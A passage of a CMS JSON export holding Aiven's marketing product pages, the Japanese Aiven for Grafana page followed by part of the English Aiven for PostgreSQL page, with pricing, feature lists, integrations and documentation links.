は、技術的なスキルセットに関係なく、実用的な情報によってチームのパフォーマンスを最適化するのに役立ちます。"}],"markDefs":[],"style":"normal"}],"title":"ビジネスメトリクス","variant":"default"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるGrafanaの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=grafana","title":"プランを見る"},"subtitle":[{"_key":"d90f5f23d3bb","_type":"block","children":[{"_key":"1252f19eb7520","_type":"span","marks":[],"text":"月額わずか35ドルでご利用いただけます。時間単位の課金により。コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"97a92678601b","_type":"block","children":[{"_key":"2cae52e202770","_type":"span","marks":[],"text":"GrafanaをAivenのサービスに接続すれば、すぐに利用することができます。全て込みの価格設定なので、月末に予期せぬ請求額が届くようなことはありません。また、メンテナンス、ネットワーク、ストレージの追加料金も不要です。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - プラグイン - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐモニタリング環境を構築しましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"a6375dbff30e","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"2585643e90b4","_type":"block","children":[{"_key":"162c8c822723","_type":"span","marks":[],"text":"10分で本番環境にGrafanaクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6d5038583a02","_type":"block","children":[{"_key":"abd030fc7a7c0","_type":"span","marks":[],"text":"ご希望のクラウドに展開 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"70fa9d22589e","_type":"block","children":[{"_key":"b767ecb9cef00","_type":"span","marks":[],"text":"厳選されたインスタンスタイプに基づく高性能ノード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"31680c8e79b7","_type":"block","children":[{"_key":"211b90d3a06c0","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"211b90d3a06c1","_type":"span","marks":["c409f3b56ad8"],"text":"Bring-your-own-account (BYOC)"},{"_key":"211b90d3a06c2","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c409f3b56ad8","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft","ytId":"62KVq5QUuZE"},{"_key":"82c0cc6e9e97","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"cf31d73edbb6","_type":"block","children":[{"_key":"47b35500a9340","_type":"span","marks":[],"text":"Aivenサービスへのワンクリック統合、事前に構築済みのダッシュボードによる簡単な監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aad40fc9b426","_type":"block","children":[{"_key":"966244ac5e580","_type":"span","marks":[],"text":"事前に構築済みのダッシュボードで、Aivenサービスの健全性を監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f5a649dc7615","_type":"block","children":[{"_key":"5a553ae6f47f0","_type":"span","marks":["bc7cc4f6ac83"],"text":"VPC peering"},{"_key":"5a553ae6f47f1","_type":"span","marks":[],"text":"、"},{"_key":"5a553ae6f47f2","_type":"span","marks":["54158586a6b5"],"text":"PrivateLink"},{"_key":"5a553ae6f47f3","_type":"span","marks":[],"text":"またはTransitGatewayテクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc7cc4f6ac83","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"54158586a6b5","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"23992a1232a2","_type":"block","children":[{"_key":"c572eae04ad00","_type":"span","marks":[],"text":"OpenSearchからGoogle Cloud Loggingまで、お気に入りのログ管理ソリューションとの"},{"_key":"0eedf38ee181","_type":"span","marks":["0686bc8561db"],"text":"統合"},{"_key":"b1c523801ec2","_type":"span","marks":[],"text":"が可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0686bc8561db","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"01100c5b3a12","_type":"block","children":[{"_key":"2ab26e885d45","_type":"span","marks":[],"text":"Aivenのインフラストラクチャを"},{"_key":"8e06f217dc711","_type":"span","marks":["4c638f88f7c1"],"text":"Terraform"},{"_key":"8e06f217dc712","_type":"span","marks":[],"text":"ツールに含めることで、簡単にAivenサービスを構築、構成、管理可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4c638f88f7c1","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight","ytId":"MGNsD5zxnkw"},{"_key":"e9e210ccd022","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e9e92dbc7d3923affd0b59749c5a528e0e4da617-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"0caae0f74e77","_type":"block","children":[{"_key":"bc3b6becd78a0","_type":"span","marks":[],"text":"迅速かつ柔軟な監視ソリューションを実現する事前構築済みのダッシュボード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9a446a49885f","_type":"block","children":[{"_key":"491456fbd0750","_type":"span","marks":[],"text":"60以上の高度なパネルとデータソースプラグインが利用可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db632ea0f2a9","_type":"block","children":[{"_key":"f092fd1d12ff0","_type":"span","marks":[],"text":"すべてのチームで使えるモニタリングソリューションを作成"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cc286b0cb7fc","_type":"block","children":[{"_key":"fcacd0909c260","_type":"span","marks":[],"text":"アラート機能を備えたオブザーバビリティ(可観測性)プラットフォームの実装"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"メトリクスのすべてを見通す視点","variant":"mediaLeft"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/grafana","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"32bd69664981","_type":"block","children":[{"_key":"0909938ae4ee0","_type":"span","marks":[],"text":"Aiven for Grafana入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"91268df78684","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"0857fccaa88e","_type":"block","children":[{"_key":"14125d9a69ef0","_type":"span","marks":[],"text":"Grafana®は、あらゆるソースからのデータを1つのダッシュボードで組み合わせ、相関させることで、チームが常に同じ理解を持つことができるようにします。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Grafana®とは?","variant":"default"},{"_key":"8f9c91760096","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a1068636-7bcf-4cf3-96d1-62d4db7b91f7","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-be01af6b8e482e512883b2635dd78202425237f1-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"cc319eecb70b","_type":"block","children":[{"_key":"18bc41c23eba0","_type":"span","marks":[],"text":"Aiven for Grafana®を使用して、Aiven for PostgreSQL®または別のPostgreSQL®サービスのメトリクスを可視化します。AivenのTerraform Cookbookの一部です。"}],"markDefs":[],"style":"normal"}],"tagline":"チュートリアル","title":"PostgreSQL®のメトリクスを可視化するためにGrafana®サービスをデプロイする","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for Grafana®の使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"34951e9c5eb9","_ref":"bde787fb-271e-47a6-94e2-3698776780c6__i18n_ja","_type":"reference"},{"_key":"9f52839f1710","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"44dba5fce90f","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee__i18n_ja","_type":"reference"},{"_key":"71133459520a","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Grafana® - フルマネージドの分析・監視ソリューション ✓ ご希望のクラウドにデプロイ可能 ✓ 簡単な統合 ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a225399b4a5868335a9f9227296a1165ad36b6ff-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Grafana®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドGrafana、Grafana as a Service、クラウドGrafana\",\n \"description\": \"Aiven for Grafanaは、様々なデータソースからリアルタイムにグラフダッシュボードを作成できるため、データに対する新しい洞察を得ることができます。Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, UpCloudで利用可能です。\",\n \"featureList\": \"Terraform対応、REST API、コマンドラインツール、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/grafana\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースのメトリクス分析、可視化、アラート機能スイート\",\n \"applicationSubCategory\": \"汎用ダッシュボード・グラフ作成ツール\"\n}","metaTitle":"Grafana®のフルマネージドホスティングサービス|Aiven"},"service":{"_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},"slug":{"_type":"slug","current":"/grafana"},"title":"Grafana"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-17T19:24:14Z","_id":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_rev":"UCe181y7ND8VpGNVLEZqFL","_type":"product","_updatedAt":"2025-01-15T15:45:50Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for PostgreSQL®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"fdeeec095d2a","_type":"block","children":[{"_key":"90c416ce65d80","_type":"span","marks":[],"text":"Managed and hosted PostgreSQL database service with high performance and all the extensions you want out of the box. "},{"_key":"7134f4635f9d","_type":"span","marks":["11cefca9b9b9"],"text":"Now AI optimized"},{"_key":"c4e1caad095c","_type":"span","marks":[],"text":"!"}],"markDefs":[{"_key":"11cefca9b9b9","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-134aa54917f7130de0756fb38e637c920de80d35-1600x1074-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"Includes single dedicated VM, backups and networking","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/postgresql","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql","title":"See docs"},"title":"Aiven for PostgreSQL®","titleMultiColor":false,"variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Apache PostgreSQL®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"7736bb7442c5","_type":"block","children":[{"_key":"29b3a28bdf470","_type":"span","marks":[],"text":"Aiven for PostgreSQL®"}],"markDefs":[],"style":"h3"},{"_key":"78232cbc0157","_type":"block","children":[{"_key":"f6e59f5833f7","_type":"span","marks":[],"text":"Aiven for PostgreSQL is a managed Postgres database that can be deployed on any major cloud. It is known for reliability, robust features, and exceptionally high performance. "}],"markDefs":[],"style":"normal"},{"_key":"905f1a61e359","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"29f859619680","_type":"block","children":[{"_key":"9f25efdb6c880","_type":"span","marks":["0a57199768ae"],"text":"Get started with Aiven for PostgreSQL (docs)"}],"markDefs":[{"_key":"0a57199768ae","_type":"link","href":"https://aiven.io/docs/products/postgresql/get-started"}],"style":"normal"},{"_key":"5befd54803d4","_type":"block","children":[{"_key":"15089505ecf40","_type":"span","marks":["c504aee86a95"],"text":"What is PostgreSQL? (blog)"}],"markDefs":[{"_key":"c504aee86a95","_type":"internalLink","internalLink":{"_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}}],"style":"normal"},{"_key":"de6352a2b0fc","_type":"block","children":[{"_key":"fed8d7a621b00","_type":"span","marks":["49fa1d1077cc"],"text":"Optimize your database workloads with AI"}],"markDefs":[{"_key":"49fa1d1077cc","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"a479d016932a","_type":"block","children":[{"_key":"4fcb17887e7d0","_type":"span","marks":[],"text":"Create flexible read replicas"}],"markDefs":[],"style":"h3"},{"_key":"b24e0b5cae45","_type":"block","children":[{"_key":"727b82566dd6","_type":"span","marks":[],"text":"Our standard high-availability plans come with 1 or 2 standby nodes, which act as automatic read replicas. You can create additional read replicas in different public clouds and regions for disaster recovery, geo proximity, and multi-cloud architectures. Point-In-Time-Recovery lets you restore your data to any time within your selected retention period."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"f7bfb774ab50","_type":"block","children":[{"_key":"be735d6d3d420","_type":"span","marks":["5ea5fca79534"],"text":"How to create and use read-only replicas (docs)"}],"markDefs":[{"_key":"5ea5fca79534","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-read-replica"}],"style":"normal"},{"_key":"9abc4a1a5618","_type":"block","children":[{"_key":"046271ee70bf0","_type":"span","marks":["04a72df562e3"],"text":"High-availability plans with Aiven (docs)"}],"markDefs":[{"_key":"04a72df562e3","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/high-availability"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"610307039979","_type":"block","children":[{"_key":"034d944b55470","_type":"span","marks":[],"text":"Integrate your PostgreSQL with other Aiven services"}],"markDefs":[],"style":"h3"},{"_key":"2cc458be1370","_type":"block","children":[{"_key":"178d38f2e5240","_type":"span","marks":[],"text":"Connect your PostgreSQL database with our streaming services Aiven for Apache Kafka and Flink using built-in connectors. Aiven for ClickHouse integration supports federated queries from PostgreSQL. You can also use Aiven for Valkey as a cache for PostgreSQL to optimize performance."}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"ca79e5fd3f7b","_type":"block","children":[{"_key":"14f504ce4a4f0","_type":"span","marks":["79e8587ce51b"],"text":"Aiven for Apache Kafka (web page)"}],"markDefs":[{"_key":"79e8587ce51b","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"},{"_key":"649b030137bf","_type":"block","children":[{"_key":"efb2daa7e37b0","_type":"span","marks":["79e0417c1fd2"],"text":"Aiven for Apache Flink (web page)"}],"markDefs":[{"_key":"79e0417c1fd2","_type":"internalLink","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"}}],"style":"normal"},{"_key":"395c14052715","_type":"block","children":[{"_key":"c431fa0266aa","_type":"span","marks":["c8754daf8b54"],"text":"Aiven for ClickHouse (web page)"}],"markDefs":[{"_key":"c8754daf8b54","_type":"internalLink","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"}}],"style":"normal"},{"_key":"d0507357eae3","_type":"block","children":[{"_key":"9334e6f899290","_type":"span","marks":["a1da6bb33d9b"],"text":"Aiven for Valkey (web page)"}],"markDefs":[{"_key":"a1da6bb33d9b","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"bcf836d4d41f","_type":"block","children":[{"_key":"34a324afc4e90","_type":"span","marks":[],"text":"Integrate with your favorite external logging and monitoring tools"}],"markDefs":[],"style":"h3"},{"_key":"4a3f10cda563","_type":"block","children":[{"_key":"797d5a43f8ae0","_type":"span","marks":[],"text":"Easy integrations with tools like Datadog, Prometheus, Amazon CloudWatch, Elasticsearch, and more — or Aiven services for M3, Grafana, and OpenSearch for enhanced monitoring and logging. Expose your server or service specific metrics to external endpoints to monitor the health of your PostgreSQL cluster."}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"291aac53dacd","_type":"block","children":[{"_key":"e88e3fed22310","_type":"span","marks":["384a9b4c7dc8"],"text":"Get started with integrations (docs)"}],"markDefs":[{"_key":"384a9b4c7dc8","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/list-integrations"}],"style":"normal"},{"_key":"b9cc835c8208","_type":"block","children":[{"_key":"ea43591f1c3a0","_type":"span","marks":["2baf3aca8dc9"],"text":"All integrations for Aiven products (web page)"}],"markDefs":[{"_key":"2baf3aca8dc9","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"93541a6de214","_type":"block","children":[{"_key":"c1e758b1e95c0","_type":"span","marks":["eded71bd037b"],"text":"Getting started with Datadog (docs)"}],"markDefs":[{"_key":"eded71bd037b","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics"}],"style":"normal"},{"_key":"97ae75bde1c5","_type":"block","children":[{"_key":"11bc141c560c0","_type":"span","marks":["307fc41dd254"],"text":"Rsyslog protocol - Integrate with an external monitoring system (docs)"}],"markDefs":[{"_key":"307fc41dd254","_type":"link","href":"https://docs.aiven.io/docs/integrations/rsyslog"}],"style":"normal"}]}],"subtitle":[{"_key":"e32a611b0401","_type":"block","children":[{"_key":"4587dc27cf29","_type":"span","marks":[],"text":"PostgreSQL is an Object-Relational Database Management System (ORDBMS), meaning it has relational database capabilities and an object-oriented design. It is used for managing read-write operations, large datasets, and complex queries, and is frequently used for mission-critical applications like web, mobile, geospatial, and analytics. It is ACID-compliant (atomicity, consistency, isolation, and durability) for reliable database transactions."}],"markDefs":[],"style":"normal"},{"_key":"1e58a08406a1","_type":"block","children":[{"_key":"20b9c6974869","_type":"span","marks":[],"text":"With Aiven for PostgreSQL, you can set up managed Postgres database in less than 10 minutes — directly from our web console or programmatically via our API, CLI, Terraform provider or Kubernetes operator. Use "},{"_key":"3f498931fd65","_type":"span","marks":["2220e8da9f7f"],"text":"Aiven AI database optimizer"},{"_key":"f325d99f5509","_type":"span","marks":[],"text":" to get performance insights, and index and SQL rewrite suggestions to optimize performance."}],"markDefs":[{"_key":"2220e8da9f7f","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"},{"_key":"1065676a7fac","_type":"block","children":[{"_key":"c3fa9b0f91f50","_type":"span","marks":[],"text":"Click on any component in the diagram below for its description."}],"markDefs":[],"style":"small"}],"tagline":"How it works","title":"Open source relational database","tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"33266d75cf7f","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"pg"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"42c640bed547","_type":"block","children":[{"_key":"7ce13c46aed3","_type":"span","marks":[],"text":"Stressing about applying PostgreSQL maintenance updates or version upgrades to your clusters? Handle updates and upgrades with just a few clicks with Aiven's managed Postgres service. Enjoy near-zero interruptions or downtime."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"b9e5e5ad1fe6","_type":"span","marks":[],"text":"Downtime is a disaster for mission-critical databases and applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"09305bc1a6c6","_type":"span","marks":[],"text":"If you are asking \"How much does Postgres cost?\" check out our all-inclusive pricing. Our Postgres pricing has no hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."},{"_key":"221e546dad12","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"46e255146004","_type":"block","children":[{"_key":"164ba71abfc8","_type":"span","marks":[],"text":"Troubleshoot PostgreSQL database performance issues within seconds. Get instant optimization recommendations. Reduce your databases cost with faster queries. Check out "},{"_key":"152ae847bafc","_type":"span","marks":["58df1be86583"],"text":"Aiven AI Database Optimizer"},{"_key":"7106bebc779d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"58df1be86583","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"}],"title":"AI optimized"}],"id":"benefits","noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"abc5656dfec6","_type":"block","children":[{"_key":"76ee1d8197840","_type":"span","marks":[],"text":"No one wants to spend an entire day getting databases set up or running maintenance checks. Or installing security patches, upgrades, and generally making sure things don’t break as you scale them."}],"markDefs":[],"style":"normal"},{"_key":"b46de69d8f2a","_type":"block","children":[{"_key":"ef570ee5bd170","_type":"span","marks":[],"text":"With Aiven’s managed and hosted Postgres database, you can spin up your clusters with a couple of clicks — so you can stop burning hours managing DBs and get back to focusing on your code."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for PostgreSQL® database"},{"_key":"9ea9e20f9cda","_type":"testimonial","ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all case studies"},"disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"a168a11b5c6e","_ref":"2jy3rhB4RcMWV5uGMAvmyG","_type":"reference"},{"_key":"a3dc9bc30881","_ref":"LUQA3Da37Nwm4sXBuCTQe","_type":"reference"},{"_key":"821c5e0f3df7","_ref":"1xuRxKM2Y1KB0EzTwOR4sy","_type":"reference"}],"rounded":false,"tagline":"Customer stories","title":"How Aiven customers use PostgreSQL","variant":"logo"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for PostgreSQL","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setting up Postgres","text":[{"_key":"8aaa7238d68c","_type":"block","children":[{"_key":"978570892f3c0","_type":"span","marks":[],"text":"Deploy Postgres on AWS, GCP, Azure, Digital Ocean, or 